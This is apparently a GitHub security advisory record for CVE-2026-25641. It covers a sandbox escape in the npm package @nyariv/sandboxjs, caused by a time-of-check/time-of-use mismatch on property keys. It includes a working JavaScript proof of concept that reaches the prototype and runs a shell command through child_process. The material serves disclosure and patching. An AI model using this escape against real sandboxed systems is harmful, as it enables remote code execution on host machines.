{"id":"GHSA-7x3h-rm86-3342","summary":"@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses","details":"### Summary\nA sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.\n\n### Details\nEven though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced:\nhttps://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304\nSo, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access.\n\n### PoC\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\n\nconst code = `\nlet a = new Map;\na.x = 23;\nlet count = 0;\n\nlet nastyProp = {toString: () =\u003e {if (count\u003c1){count++;return \"x\"} else return \"__proto__\"}}\nlet mapProt = a[nastyProp];\nmapProt.has = isFinite;\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);`;\nconst scope = {};\nconst sandbox = new Sandbox();\nconst exec = sandbox.compile(code);\nexec(scope).run(); \n```\n\n### Impact\nRemote code execution, if attacker can execute code inside the sandbox.","aliases":["CVE-2026-25641"],"modified":"2026-02-06T22:22:04.213605Z","published":"2026-02-05T21:33:04Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-02-05T21:33:04Z","nvd_published_at":"2026-02-06T20:16:11Z","cwe_ids":["CWE-367","CWE-74"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25641"},{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"},{"type":"PACKAGE","url":"https://github.com/nyariv/SandboxJS"},{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304"}],"affected":[{"package":{"name":"@nyariv/sandboxjs","ecosystem":"npm","purl":"pkg:npm/%40nyariv/sandboxjs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.29"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.8.28","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-7x3h-rm86-3342/GHSA-7x3h-rm86-3342.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}]}